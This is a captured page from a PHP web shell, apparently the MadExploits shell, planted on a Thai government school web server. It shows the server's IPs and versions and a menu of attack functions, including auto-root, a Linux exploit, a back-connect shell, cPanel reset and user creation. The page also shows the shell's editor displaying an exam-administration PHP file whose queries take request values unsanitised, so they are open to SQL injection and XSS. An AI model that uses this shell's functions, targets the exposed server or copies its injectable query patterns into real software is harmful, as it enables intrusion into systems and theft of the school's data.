Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
bets /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
add_score.php
1.58
KB
-rw-r--r--
add_test.php
9.11
KB
-rwxr-xr-x
curriculum.php
7.97
KB
-rwxr-xr-x
curriculum_view.php
25.22
KB
-rwxr-xr-x
examination_set.php
320
B
-rwxr-xr-x
export_to_excel.php
4.24
KB
-rw-r--r--
frm_add_test.php
1.77
KB
-rwxr-xr-x
indicator.php
37.07
KB
-rwxr-xr-x
item_display.php
6.68
KB
-rw-r--r--
khet_paper_report_1.php
61.73
KB
-rw-r--r--
khet_paper_report_2.php
65.56
KB
-rw-r--r--
khet_report_1.php
27.49
KB
-rwxr-xr-x
khet_report_1_mobile.php
8.38
KB
-rwxr-xr-x
khet_report_2.php
68.18
KB
-rwxr-xr-x
level_log.php
1.6
KB
-rw-r--r--
level_record.php
17.37
KB
-rw-r--r--
level_report_1.php
38.07
KB
-rw-r--r--
level_report_2.php
35.32
KB
-rw-r--r--
level_report_3.php
22.22
KB
-rw-r--r--
level_report_4.php
16.65
KB
-rw-r--r--
level_test.php
22.99
KB
-rw-r--r--
livesearch.php
721
B
-rwxr-xr-x
livesearch2.php
729
B
-rw-r--r--
livesearch3.php
756
B
-rw-r--r--
livesearch4.php
727
B
-rw-r--r--
livesearch5.php
1.16
KB
-rw-r--r--
livesearch6.php
1.41
KB
-rw-r--r--
master_test_report.php
16.2
KB
-rw-r--r--
permission.php
11.69
KB
-rwxr-xr-x
print_check.php
3.52
KB
-rw-r--r--
return_ajax_indicator.php
1.64
KB
-rwxr-xr-x
return_ajax_standard.php
805
B
-rwxr-xr-x
return_ajax_substance.php
1.36
KB
-rwxr-xr-x
sch_paper_report_1.php
62.36
KB
-rw-r--r--
sch_report_1.php
65.87
KB
-rwxr-xr-x
sch_report_1_mobile.php
10.62
KB
-rwxr-xr-x
school_limit.php
13.09
KB
-rw-r--r--
standard.php
19.24
KB
-rwxr-xr-x
student_paper_report_1.php
17.6
KB
-rw-r--r--
student_report_1.php
25.54
KB
-rwxr-xr-x
student_report_1_mobile.php
5.51
KB
-rwxr-xr-x
substance.php
16.58
KB
-rwxr-xr-x
test_admin.php
46.87
KB
-rwxr-xr-x
test_admin2.php
6.86
KB
-rw-r--r--
test_admin3.php
11.27
KB
-rw-r--r--
test_admin_book.php
75.57
KB
-rw-r--r--
test_admin_book2.php
19.74
KB
-rw-r--r--
test_import.php
7.86
KB
-rw-r--r--
test_item.php
93.56
KB
-rwxr-xr-x
test_master.php
46.2
KB
-rwxr-xr-x
test_qc.php
15.46
KB
-rw-r--r--
test_qc_person.php
8.05
KB
-rw-r--r--
test_sch.php
6.1
KB
-rwxr-xr-x
test_sch_2.php
26.76
KB
-rwxr-xr-x
test_student.php
34.71
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_admin.php
<?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); ?> <script type="text/javascript" src="./css/js/calendarDateInput2.js"></script> <?php require_once("modules/bets/time_inc.php"); $officer=$_SESSION['login_user_id']; echo "<br />"; //ส่วนเพิ่มข้อมูล if($index==1){ $sql_num = "select id from bets_answer"; $dbquery_num= mysqli_query($connect,$sql_num); $answer_num=mysqli_num_rows($dbquery_num); if($answer_num>500000){ echo "<script>alert('ตารางข้อมูลคำตอบมีจำนวน $answer_num รายการ อาจทำให้การประมวลผลใช้เวลามาก ควรพิจารณาลบรายการสอบที่หมดความจำเป็นออก ');</script>\n"; } echo "<form id='frm1' name='frm1'>"; echo "<Center>"; echo "<Font color='#006666' Size=3><B>เพิ่มรายการสอบ</B></Font>"; echo "</Cener>"; echo "<Br>"; echo "<Table width='60%' Border='0'>"; echo "<Tr align='left'><Td width=30></Td><Td align='right'>ชื่อรายการสอบ </Td><Td><Input Type='Text' Name='test_name' Size='40'></Td></Tr>"; echo "<Tr align='left'><Td ></Td><Td align='right'>แบบทดสอบ(ที่ใช้) </Td><Td>"; $sql = "select * from bets_master_test order by id desc"; $dbquery_master = mysqli_query($connect,$sql); echo "<Select name='master_test' size='1'>"; echo "<option value = ''>เลือก</option>" ; While ($result_master = mysqli_fetch_array($dbquery_master)){ echo "<option value ='$result_master[id]'>$result_master[id] $result_master[master_name]</option>" ; } echo "</select>"; echo "</Td></Tr>"; echo "<Tr align='left'><Td ></Td><Td align='right'>กลุ่มสาระ </Td><Td>"; echo "<Select name='group' size='1'>"; echo "<option value = ''>เลือก</option>" ; $sql_curriculum = "select * from bets_curriculum order by curriculum_code desc"; $dbquery_curriculum = mysqli_query($connect,$sql_curriculum); while($result_curriculum = mysqli_fetch_array($dbquery_curriculum)){ echo"<optgroup label='หลักสูตร$result_curriculum[curriculum_code]'>"; $sql = "select * from bets_group where curriculum_code='$result_curriculum[curriculum_code]' order by id"; $dbquery = mysqli_query($connect,$sql); While ($result = mysqli_fetch_array($dbquery)) { $group_code = $result['group_code']; $group_name = $result['group_name']; if($result['group_code']==$result_ref['group_code']){ echo "<option value=$group_code selected>$group_name</option>" ; } else { echo "<option value=$group_code>$group_name</option>" ; } } echo"</optgroup>\n"; } echo "</select>"; echo "</Td></Tr>"; echo "<Tr align='left'><Td ></Td><Td align='right'>ชั้นสอบ </Td><Td>"; echo "<Select name='class_room' size='1'>"; echo "<option value = ''>เลือก</option>" ; echo "<option value ='4'>ป.1</option>" ; echo "<option value ='5'>ป.2</option>" ; echo "<option value ='6'>ป.3</option>" ; echo "<option value ='7'>ป.4</option>" ; echo "<option value ='8'>ป.5</option>" ; echo "<option value ='9'>ป.6</option>" ; echo "<option value ='10'>ม.1</option>" ; echo "<option value ='11'>ม.2</option>" ; echo "<option value ='12'>ม.3</option>" ; echo "<option value ='13'>ม.4</option>" ; echo "<option value ='14'>ม.5</option>" ; echo "<option value ='15'>ม.6</option>" ; echo "</select>"; echo "</Td></Tr>"; echo "<Tr align='left'><Td width=30></Td><Td align='right'>จำนวนข้อ </Td><Td><Input Type='Text' Name='item_num' Size='5'></Td></Tr>"; echo "<Tr align='left'><Td width=30></Td><Td align='right'>คะแนนเต็ม </Td><Td><Input Type='Text' Name='test_score' Size='5'></Td></Tr>"; echo "<Tr align='left'><Td width=30></Td><Td align='right'>เวลาสอบ </Td><Td><Input Type='Text' Name='test_time' Size='5'>นาที</Td></Tr>"; echo "<Tr align='left'><Td width=30></Td><Td align='right'>คำชี้แจง </Td><Td><Input Type='Text' Name='statement' Size='70'></Td></Tr>"; echo "<Tr align='left'><Td width=30></Td><Td align='right'>เกณฑ์ประเมินระดับดี </Td><Td><Input Type='Text' Name='g1' Size='5'>% (มากกว่าหรือเท่ากับค่านี้)</Td></Tr>"; echo "<Tr align='left'><Td width=30></Td><Td align='right'>เกณฑ์ประเมินระดับพอใช้ </Td><Td>อยู่ระหว่างค่าระดับดีกับระดับปรับปรุง</Td></Tr>"; echo "<Tr align='left'><Td width=30></Td><Td align='right'>เกณฑ์ประเมินระดับปรับปรุง </Td><Td><Input Type='Text' Name='g2' Size='5'>% (น้อยกว่าหรือเท่ากับค่านี้)</Td></Tr>"; echo "<Tr align='left'><Td width=30></Td><Td align='right'>เปิดใช้งาน </Td><Td><input type=radio name='test_active' value='1' checked>เปิด <input type=radio name='test_active' value='0'>ปิด</Td></Tr>"; echo "<Br>"; echo "</Table>"; echo "<Br>"; echo "<INPUT TYPE='button' name='smb' value='ตกลง' onclick='goto_url(1)'> <INPUT TYPE='button' name='back' value='ย้อนกลับ' onclick='goto_url(0)'>"; echo "</form>"; } //ส่วนยืนยันการลบข้อมูล if($index==2) { echo "<table width='500' border='0' align='center'>"; echo "<tr><td align='center'><font color='#990000' size='4'>โปรดยืนยันความต้องการลบข้อมูลอีกครั้ง</font><br></td></tr>"; echo "<tr><td align=center>"; echo "<INPUT TYPE='button' name='smb' value='ยืนยัน' onclick='location.href=\"?option=bets&task=main/test_admin&index=3&id=$_GET[id]&test_id=$_REQUEST[test_id]&page=$_REQUEST[page]\"'> <INPUT TYPE='button' name='back' value='ยกเลิก' onclick='location.href=\"?option=bets&task=main/test_admin&test_id=$_REQUEST[test_id]&page=$_REQUEST[page]&index=7\"'"; echo "</td></tr></table>"; } if($index==2.2) { echo "<script>alert('การลบรายการสอบ จะลบทุกส่วนที่เกี่ยวข้องทั้งหมด ตั้งแต่ข้อมูลการสอบของผู้สอบ รายการสอบของสถานศึกษา และรายการสอบของสพท.');</script>\n"; echo "<table width='500' border='0' align='center'>"; echo "<tr><td align='center'><font color='#990000' size='4'>โปรดยืนยันความต้องการลบข้อมูลอีกครั้ง</font><br></td></tr>"; echo "<tr><td align=center>"; echo "<INPUT TYPE='button' name='smb' value='ยืนยัน' onclick='location.href=\"?option=bets&task=main/test_admin&index=3.2&id=$_GET[id]&page=$_REQUEST[page]\"'> <INPUT TYPE='button' name='back' value='ยกเลิก' onclick='location.href=\"?option=bets&task=main/test_admin&page=$_REQUEST[page]\"'"; echo "</td></tr></table>"; } //ส่วนลบข้อมูล if($index==3){ $sql = "delete from bets_test_schuser where id=$_GET[id]"; $dbquery = mysqli_query($connect,$sql); $index=7; } if($index==3.2){ //ส่วนของคำตอบ mysqli_query($connect,"delete from bets_answer where test_id='$_GET[id]'"); //ส่วนของรายชื่อผู้เข้าสอบ $sql = "select id from bets_sch_test where test_id='$_GET[id]'"; $dbquery= mysqli_query($connect,$sql); While ($result = mysqli_fetch_array($dbquery)){ $school_test_id=$result['id']; mysqli_query($connect,"delete from bets_schtest_testuser where sch_test_id='$school_test_id'"); } //ส่วนรายการสอบของสถานศึกษา mysqli_query($connect,"delete from bets_sch_test where test_id='$_GET[id]'"); //ส่วนรายชื่อโรงเรียนที่เข้าสอบ mysqli_query($connect,"delete from bets_test_schuser where test_id=$_GET[id]"); //ส่วนชองชื่อรายการสอบของสพท mysqli_query($connect,"delete from bets_test where id=$_GET[id]"); } //ส่วนเพิ่มข้อมูล if($index==4){ $rec_date = date("Y-m-d"); $f_start_time=explode(".", $_POST['start_time']); $test_start=$_POST['test_start']." ".$f_start_time[0].":".$f_start_time[1].":"."00"; $f_stop_time=explode(".", $_POST['stop_time']); $test_stop=$_POST['test_stop']." ".$f_stop_time[0].":".$f_stop_time[1].":"."00"; $sql = "select school_code from system_school order by school_type,school_code"; $dbquery= mysqli_query($connect,$sql); While ($result = mysqli_fetch_array($dbquery)){ $school_code=$result['school_code']; $chk1_start="chk1$school_code"; $chk2_stop="chk2$school_code"; if(isset($_POST[$chk1_start]) and $_POST[$chk1_start]==1){ $sql_check= "select id from bets_test_schuser where school='$school_code' and test_id='$_POST[test_id]'"; $dbquery_check=mysqli_query($connect,$sql_check); if(mysqli_fetch_array($dbquery_check)){ $sql_update = "update bets_test_schuser set start_date='$test_start',stop_date='$test_stop',officer='$officer',rec_date='$rec_date]' where school='$school_code' and test_id='$_POST[test_id]'"; $dbquery_update=mysqli_query($connect,$sql_update); } else{ $sql_insert = "insert into bets_test_schuser (test_id,school,start_date,stop_date,officer,rec_date) values ( '$_POST[test_id]','$school_code','$test_start','$test_stop','$officer','$rec_date')"; $dbquery_insert = mysqli_query($connect,$sql_insert); } } } $index=7; } //ส่วนเพิ่มข้อมูลรายการสอบ if($index==4.2){ $rec_date = date("Y-m-d"); $sql_insert = "insert into bets_test (test_name,master_test,s_group,statement,class_room,item_num,test_score,test_time,g1,g2,test_active,officer,rec_date) values ( '$_POST[test_name]','$_POST[master_test]','$_POST[group]','$_POST[statement]','$_POST[class_room]','$_POST[item_num]','$_POST[test_score]','$_POST[test_time]','$_POST[g1]','$_POST[g2]','$_POST[test_active]','$officer','$rec_date')"; $dbquery_insert = mysqli_query($connect,$sql_insert); echo "<script>alert('หลังจากเพิ่มรายการสอบแล้ว ลำดับต่อไปต้องกำหนดผู้สอบ'); </script>\n"; } //ส่วนเพิ่มข้อมูล if($index==4.5){ $rec_date = date("Y-m-d"); $sql = "select test_id from bets_test_schuser order by test_id desc limit 1"; $dbquery= mysqli_query($connect,$sql); $result = mysqli_fetch_array($dbquery); $prev_test_id= $result['test_id']; if($prev_test_id>0){ $sql = "select school_code from system_school order by school_type,school_code"; $dbquery= mysqli_query($connect,$sql); While ($result = mysqli_fetch_array($dbquery)){ $school_code=$result['school_code']; $sql_prev = "select * from bets_test_schuser where school='$school_code' and test_id='$prev_test_id'"; $dbquery_prev = mysqli_query($connect,$sql_prev); $result_prev = mysqli_fetch_array($dbquery_prev); if($result_prev['start_date']<1000 or $result_prev['stop_date']<1000){ $sql_del= "delete from bets_test_schuser where school='$school_code' and test_id='$_POST[test_id]'"; $dbquery_del=mysqli_query($connect,$sql_del); } else{ $sql_check= "select id from bets_test_schuser where school='$school_code' and test_id='$_POST[test_id]'"; $dbquery_check=mysqli_query($connect,$sql_check); if(mysqli_fetch_array($dbquery_check)){ $sql_update = "update bets_test_schuser set start_date='$result_prev[start_date]',stop_date='$result_prev[stop_date]',officer='$officer',rec_date='$rec_date]' where school='$school_code' and test_id='$_POST[test_id]'"; $dbquery_update=mysqli_query($connect,$sql_update); } else{ $sql_insert = "insert into bets_test_schuser (test_id,school,start_date,stop_date,officer,rec_date) values ( '$_POST[test_id]','$school_code','$result_prev[start_date]','$result_prev[stop_date]','$officer','$rec_date')"; $dbquery_insert = mysqli_query($connect,$sql_insert); } } } //end while } //end if $index=7; } //ส่วนฟอร์มแก้ไขข้อมูล if ($index==5){ echo "<form id='frm1' name='frm1'>"; echo "<Center>"; echo "<Font color='#006666' Size='3'><B>แก้ไขระยะเวลาใช้แบบทดสอบ</B></Font>"; echo "<br>"; echo "<Font color='#006666' Size='2'><B>$_REQUEST[school_name]</B></Font>"; echo "</Cener>"; echo "<Br><Br>"; $sql = "select * from bets_test_schuser where id='$_GET[id]'"; $dbquery = mysqli_query($connect,$sql); $result = mysqli_fetch_array($dbquery); $f_start_date=explode(" ", $result ['start_date']); $f_stop_date=explode(" ", $result ['stop_date']); echo "<Table width='70%' Border='0'>"; echo "<Tr align='left'><Td width=30></Td><Td align='right' valign='top'>วันเวลาเริ่มสอบ </Td><Td>"; ?> <script> var start="<?php echo $f_start_date[0]; ?>" DateInput('test_start', true, 'YYYY-MM-DD',start) </script> <?php $f_start_time_1=explode(":", $f_start_date[1]); $f_start_time_2=$f_start_time_1[0].".".$f_start_time_1[1]; $start_select_1=""; $start_select_2=""; $start_select_3=""; $start_select_4=""; $start_select_5=""; $start_select_6=""; $start_select_7=""; $start_select_8=""; $start_select_9=""; $start_select_10=""; $start_select_11=""; $start_select_12=""; $start_select_13=""; $start_select_14=""; $start_select_15=""; $start_select_16=""; $start_select_17=""; $start_select_18=""; $start_select_19=""; $start_select_20=""; $start_select_21=""; if($f_start_time_2=="08.00"){ $start_select_1="selected"; } else if($f_start_time_2=="08.30"){ $start_select_2="selected"; } else if($f_start_time_2=="09.00"){ $start_select_3="selected"; } else if($f_start_time_2=="09.30"){ $start_select_4="selected"; } else if($f_start_time_2=="10.00"){ $start_select_5="selected"; } else if($f_start_time_2=="10.30"){ $start_select_6="selected"; } else if($f_start_time_2=="11.00"){ $start_select_7="selected"; } else if($f_start_time_2=="11.30"){ $start_select_8="selected"; } else if($f_start_time_2=="12.00"){ $start_select_9="selected"; } else if($f_start_time_2=="12.30"){ $start_select_10="selected"; } else if($f_start_time_2=="13.00"){ $start_select_11="selected"; } else if($f_start_time_2=="13.30"){ $start_select_12="selected"; } else if($f_start_time_2=="14.00"){ $start_select_13="selected"; } else if($f_start_time_2=="14.30"){ $start_select_14="selected"; } else if($f_start_time_2=="15.00"){ $start_select_15="selected"; } else if($f_start_time_2=="15.30"){ $start_select_16="selected"; } else if($f_start_time_2=="16.00"){ $start_select_17="selected"; } else if($f_start_time_2=="16.30"){ $start_select_18="selected"; } else if($f_start_time_2=="17.00"){ $start_select_19="selected"; } else if($f_start_time_2=="17.30"){ $start_select_20="selected"; } else if($f_start_time_2=="18.00"){ $start_select_21="selected"; } echo "<Select name='start_time' size='1'>"; echo "<option value = '08.00' $start_select_1>08.00 น.</option>" ; echo "<option value = '08.30' $start_select_2>08.30 น.</option>" ; echo "<option value = '09.00' $start_select_3>09.00 น.</option>" ; echo "<option value = '09.30' $start_select_4>09.30 น.</option>" ; echo "<option value = '10.00' $start_select_5>10.00 น.</option>" ; echo "<option value = '10.30' $start_select_6>10.30 น.</option>" ; echo "<option value = '11.00' $start_select_7>11.00 น.</option>" ; echo "<option value = '11.30' $start_select_8>11.30 น.</option>" ; echo "<option value = '12.00' $start_select_9>12.00 น.</option>" ; echo "<option value = '12.30' $start_select_10>12.30 น.</option>" ; echo "<option value = '13.00' $start_select_11>13.00 น.</option>" ; echo "<option value = '13.30' $start_select_12>13.30 น.</option>" ; echo "<option value = '14.00' $start_select_13>14.00 น.</option>" ; echo "<option value = '14.30' $start_select_14>14.30 น.</option>" ; echo "<option value = '15.00' $start_select_15>15.00 น.</option>" ; echo "<option value = '15.30' $start_select_16>15.30 น.</option>" ; echo "<option value = '16.00' $start_select_17>16.00 น.</option>" ; echo "<option value = '16.30' $start_select_18>16.30 น.</option>" ; echo "<option value = '17.00' $start_select_19>17.00 น.</option>" ; echo "<option value = '17.30' $start_select_20>17.30 น.</option>" ; echo "<option value = '18.00' $start_select_21>18.00 น.</option>" ; echo "</select>"; echo "</Td></Tr>"; echo "<Tr align='left'><Td width=30></Td><Td align='right' valign='top'>วันเวลาสิ้นสุดการสอบ </Td><Td>"; ?> <script> var stop="<?php echo $f_stop_date[0]; ?>" DateInput('test_stop', true, 'YYYY-MM-DD',stop) </script> <?php $f_stop_time_1=explode(":", $f_stop_date[1]); $f_stop_time_2=$f_stop_time_1[0].".".$f_stop_time_1[1]; $stop_select_1=""; $stop_select_2=""; $stop_select_3=""; $stop_select_4=""; $stop_select_5=""; $stop_select_6=""; $stop_select_7=""; $stop_select_8=""; $stop_select_9=""; $stop_select_10=""; $stop_select_11=""; $stop_select_12=""; $stop_select_13=""; $stop_select_14=""; $stop_select_15=""; $stop_select_16=""; $stop_select_17=""; $stop_select_18=""; $stop_select_19=""; $stop_select_20=""; $stop_select_21=""; if($f_stop_time_2=="08.00"){ $stop_select_1="selected"; } else if($f_stop_time_2=="08.30"){ $stop_select_2="selected"; } else if($f_stop_time_2=="09.00"){ $stop_select_3="selected"; } else if($f_stop_time_2=="09.30"){ $stop_select_4="selected"; } else if($f_stop_time_2=="10.00"){ $stop_select_5="selected"; } else if($f_stop_time_2=="10.30"){ $stop_select_6="selected"; } else if($f_stop_time_2=="11.00"){ $stop_select_7="selected"; } else if($f_stop_time_2=="11.30"){ $stop_select_8="selected"; } else if($f_stop_time_2=="12.00"){ $stop_select_9="selected"; } else if($f_stop_time_2=="12.30"){ $stop_select_10="selected"; } else if($f_stop_time_2=="13.00"){ $stop_select_11="selected"; } else if($f_stop_time_2=="13.30"){ $stop_select_12="selected"; } else if($f_stop_time_2=="14.00"){ $stop_select_13="selected"; } else if($f_stop_time_2=="14.30"){ $stop_select_14="selected"; } else if($f_stop_time_2=="15.00"){ $stop_select_15="selected"; } else if($f_stop_time_2=="15.30"){ $stop_select_16="selected"; } else if($f_stop_time_2=="16.00"){ $stop_select_17="selected"; } else if($f_stop_time_2=="16.30"){ $stop_select_18="selected"; } else if($f_stop_time_2=="17.00"){ $stop_select_19="selected"; } else if($f_stop_time_2=="17.30"){ $stop_select_20="selected"; } else if($f_stop_time_2=="18.00"){ $stop_select_21="selected"; } echo "<Select name='stop_time' size='1'>"; echo "<option value = '08.00' $stop_select_1>08.00 น.</option>" ; echo "<option value = '08.30' $stop_select_2>08.30 น.</option>" ; echo "<option value = '09.00' $stop_select_3>09.00 น.</option>" ; echo "<option value = '09.30' $stop_select_4>09.30 น.</option>" ; echo "<option value = '10.00' $stop_select_5>10.00 น.</option>" ; echo "<option value = '10.30' $stop_select_6>10.30 น.</option>" ; echo "<option value = '11.00' $stop_select_7>11.00 น.</option>" ; echo "<option value = '11.30' $stop_select_8>11.30 น.</option>" ; echo "<option value = '12.00' $stop_select_9>12.00 น.</option>" ; echo "<option value = '12.30' $stop_select_10>12.30 น.</option>" ; echo "<option value = '13.00' $stop_select_11>13.00 น.</option>" ; echo "<option value = '13.30' $stop_select_12>13.30 น.</option>" ; echo "<option value = '14.00' $stop_select_13>14.00 น.</option>" ; echo "<option value = '14.30' $stop_select_14>14.30 น.</option>" ; echo "<option value = '15.00' $stop_select_15>15.00 น.</option>" ; echo "<option value = '15.30' $stop_select_16>15.30 น.</option>" ; echo "<option value = '16.00' $stop_select_17>16.00 น.</option>" ; echo "<option value = '16.30' $stop_select_18>16.30 น.</option>" ; echo "<option value = '17.00' $stop_select_19>17.00 น.</option>" ; echo "<option value = '17.30' $stop_select_20>17.30 น.</option>" ; echo "<option value = '18.00' $stop_select_21>18.00 น.</option>" ; echo "</select>"; echo "</Td></Tr>"; echo "</Table>"; echo "<Br />"; echo "<Input Type=Hidden Name='id' Value='$_GET[id]'>"; echo "<Input Type=Hidden Name='test_id' Value='$_GET[test_id]'>"; echo "<input type='hidden' name='page' value='$_REQUEST[page]'>"; echo "<INPUT TYPE='button' name='smb' value='ตกลง' onclick='goto_url_update(1)'> <INPUT TYPE='button' name='back' value='ย้อนกลับ' onclick='goto_url_update(0)'>"; echo "</form>"; } if($index==5.2){ $sql = "select * from bets_test where id='$_GET[id]'"; $dbquery = mysqli_query($connect,$sql); $result = mysqli_fetch_array($dbquery); echo "<form id='frm1' name='frm1'>"; echo "<Center>"; echo "<Font color='#006666' Size=3><B>แก้ไขรายการสอบ</B></Font>"; echo "</Cener>"; echo "<Br>"; echo "<Table width='60%' Border='0'>"; echo "<Tr align='left'><Td width=30></Td><Td align='right'>ชื่อรายการสอบ </Td><Td><Input Type='Text' Name='test_name' Size='40' value='$result[test_name]'></Td></Tr>"; echo "<Tr align='left'><Td ></Td><Td align='right'>แบบทดสอบ(ที่ใช้) </Td><Td>"; $sql = "select * from bets_master_test order by id desc"; $dbquery_master = mysqli_query($connect,$sql); echo "<Select name='master_test' size='1'>"; echo "<option value = ''>เลือก</option>" ; While ($result_master = mysqli_fetch_array($dbquery_master)){ if($result['master_test']==$result_master['id']){ echo "<option value ='$result_master[id]' selected>$result_master[id] $result_master[master_name]</option>" ; } else{ echo "<option value ='$result_master[id]'>$result_master[id] $result_master[master_name]</option>" ; } } echo "</select>"; echo "</Td></Tr>"; echo "<Tr align='left'><Td ></Td><Td align='right'>กลุ่มสาระ </Td><Td>"; echo "<Select name='group' size='1'>"; echo "<option value = ''>เลือก</option>" ; $sql_curriculum = "select * from bets_curriculum order by curriculum_code desc"; $dbquery_curriculum = mysqli_query($connect,$sql_curriculum); while($result_curriculum = mysqli_fetch_array($dbquery_curriculum)){ echo"<optgroup label='หลักสูตร$result_curriculum[curriculum_code]'>"; $sql = "select * from bets_group where curriculum_code='$result_curriculum[curriculum_code]' order by id"; $dbquery = mysqli_query($connect,$sql); While ($result_g = mysqli_fetch_array($dbquery)) { $group_code = $result_g['group_code']; $group_name = $result_g['group_name']; if($result_g['group_code']==$result['s_group']){ echo "<option value=$group_code selected>$group_name</option>" ; } else { echo "<option value=$group_code>$group_name</option>" ; } } echo"</optgroup>\n"; } echo "</select>"; echo "</Td></Tr>"; echo "<Tr align='left'><Td ></Td><Td align='right'>ชั้นสอบ </Td><Td>"; echo "<Select name='class_room' size='1'>"; echo "<option value = ''>เลือก</option>" ; if($result['class_room']==4){ echo "<option value ='4' selected>ป.1</option>" ; } else{ echo "<option value ='4'>ป.1</option>" ; } if($result['class_room']==5){ echo "<option value ='5' selected>ป.2</option>" ; } else{ echo "<option value ='5'>ป.2</option>" ; } if($result['class_room']==6){ echo "<option value ='6' selected>ป.3</option>" ; } else{ echo "<option value ='6'>ป.3</option>" ; } if($result['class_room']==7){ echo "<option value ='7' selected>ป.4</option>" ; } else{ echo "<option value ='7'>ป.4</option>" ; } if($result['class_room']==8){ echo "<option value ='8' selected>ป.5</option>" ; } else{ echo "<option value ='8'>ป.5</option>" ; } if($result['class_room']==9){ echo "<option value ='9' selected>ป.6</option>" ; } else{ echo "<option value ='9'>ป.6</option>" ; } if($result['class_room']==10){ echo "<option value ='10' selected>ม.1</option>" ; } else{ echo "<option value ='10'>ม.1</option>" ; } if($result['class_room']==11){ echo "<option value ='11' selected>ม.2</option>" ; } else{ echo "<option value ='11'>ม.2</option>" ; } if($result['class_room']==12){ echo "<option value ='12' selected>ม.3</option>" ; } else{ echo "<option value ='12'>ม.3</option>" ; } if($result['class_room']==13){ echo "<option value ='13' selected>ม.4</option>" ; } else{ echo "<option value ='13'>ม.4</option>" ; } if($result['class_room']==14){ echo "<option value ='14' selected>ม.5</option>" ; } else{ echo "<option value ='14'>ม.5</option>" ; } if($result['class_room']==15){ echo "<option value ='15' selected>ม.6</option>" ; } else{ echo "<option value ='15'>ม.6</option>" ; } echo "</select>"; echo "</Td></Tr>"; echo "<Tr align='left'><Td width=30></Td><Td align='right'>จำนวนข้อ </Td><Td><Input Type='Text' Name='item_num' Size='5' value='$result[item_num]'></Td></Tr>"; echo "<Tr align='left'><Td width=30></Td><Td align='right'>คะแนนเต็ม </Td><Td><Input Type='Text' Name='test_score' Size='5' value='$result[test_score]'></Td></Tr>"; echo "<Tr align='left'><Td width=30></Td><Td align='right'>เวลาสอบ </Td><Td><Input Type='Text' Name='test_time' Size='5' value='$result[test_time]'>นาที</Td></Tr>"; if($result['test_active']==1){ $active_check_1="checked"; $active_check_2=""; } else{ $active_check_1=""; $active_check_2="checked"; } echo "<Tr align='left'><Td width=30></Td><Td align='right'>คำชี้แจง </Td><Td><Input Type='Text' Name='statement' Size='70' value='$result[statement]'></Td></Tr>"; echo "<Tr align='left'><Td width=30></Td><Td align='right'>เกณฑ์ประเมินระดับดี </Td><Td><Input Type='Text' Name='g1' Size='5' value='$result[g1]'>% (มากกว่าหรือเท่ากับค่านี้)</Td></Tr>"; echo "<Tr align='left'><Td width=30></Td><Td align='right'>เกณฑ์ประเมินระดับพอใช้ </Td><Td>อยู่ระหว่างค่าระดับดีกับระดับปรับปรุง</Td></Tr>"; echo "<Tr align='left'><Td width=30></Td><Td align='right'>เกณฑ์ประเมินระดับปรับปรุง </Td><Td><Input Type='Text' Name='g2' Size='5' value='$result[g2]'>% (น้อยกว่าหรือเท่ากับค่านี้)</Td></Tr>"; echo "<Tr align='left'><Td width=30></Td><Td align='right'>เปิดใช้งาน </Td><Td>เปิด<input type=radio name='test_active' value='1' $active_check_1> ปิด<input type=radio name='test_active' value='0' $active_check_2></Td></Tr>"; echo "<Br>"; echo "</Table>"; echo "<Input Type=Hidden Name='id' Value='$_GET[id]'>"; echo "<input type='hidden' name='page' value='$_REQUEST[page]'>"; echo "<Br>"; echo "<INPUT TYPE='button' name='smb' value='ตกลง' onclick='goto_url_update2(1)'> <INPUT TYPE='button' name='back' value='ย้อนกลับ' onclick='goto_url_update2(0)'>"; echo "</form>"; } //ส่วนปรับปรุงข้อมูล if ($index==6){ $rec_date = date("Y-m-d"); $f_start_time=explode(".", $_POST['start_time']); $test_start=$_POST['test_start']." ".$f_start_time[0].":".$f_start_time[1].":"."00"; $f_stop_time=explode(".", $_POST['stop_time']); $test_stop=$_POST['test_stop']." ".$f_stop_time[0].":".$f_stop_time[1].":"."00"; $sql = "update bets_test_schuser set start_date='$test_start', stop_date='$test_stop',officer='$officer',rec_date='$rec_date' where id='$_POST[id]'"; $dbquery = mysqli_query($connect,$sql); $index=7; } if ($index==6.2){ $sql = "update bets_test set test_active='$_GET[active]' where id='$_GET[test_id]'"; $dbquery = mysqli_query($connect,$sql); } if ($index==6.3){ $sql = "update bets_test set open_test='$_GET[active]' where id='$_GET[test_id]'"; $dbquery = mysqli_query($connect,$sql); } if ($index==6.4){ $sql = "update bets_test set test_name='$_POST[test_name]',master_test='$_POST[master_test]',s_group='$_POST[group]',statement='$_POST[statement]',class_room='$_POST[class_room]',item_num='$_POST[item_num]',test_score='$_POST[test_score]',test_time='$_POST[test_time]',g1='$_POST[g1]',g2='$_POST[g2]',test_active='$_POST[test_active]',officer=$officer where id='$_POST[id]'"; $dbquery = mysqli_query($connect,$sql); } //ส่วนเพิ่มข้อมูล if($index==7){ $sql_test = "select * from bets_test where id='$_REQUEST[test_id]'"; $dbquery_test = mysqli_query($connect,$sql_test); $result_test=mysqli_fetch_array($dbquery_test); echo "<Center>"; echo "<Font color='#006666' Size='3'><B>กำหนดสถานศึกษาสอบ และวันเวลาสอบ</B></Font><br>"; echo "<Font color='#006666' Size='2'><B>$result_test[test_name]</B></Font> (รหัสการสอบ $result_test[id])"; echo "</Cener>"; echo "<form id='frm1' name='frm1'>"; echo "<table width='90%' border='0' align='center'>"; echo "<Tr align='center'><Td colspan='2'></Td><Td><font color='#006666' size='2'>วันเวลาเริ่มสอบ</font></Td><Td><font color='#006666' size='2'>วันเวลาสิ้นสุดการสอบ</font></Td><td colspan='2' align='right'><a href=?option=bets&task=main/test_admin&page=$_REQUEST[page]><<กลับ</a></td></Tr>"; echo "<Tr bgcolor='#FFCCCC' align='center'><Td width='50'>ที่</Td><Td>สถานศึกษา</Td><Td width='250'>"; ?> <script>DateInput('test_start', true, 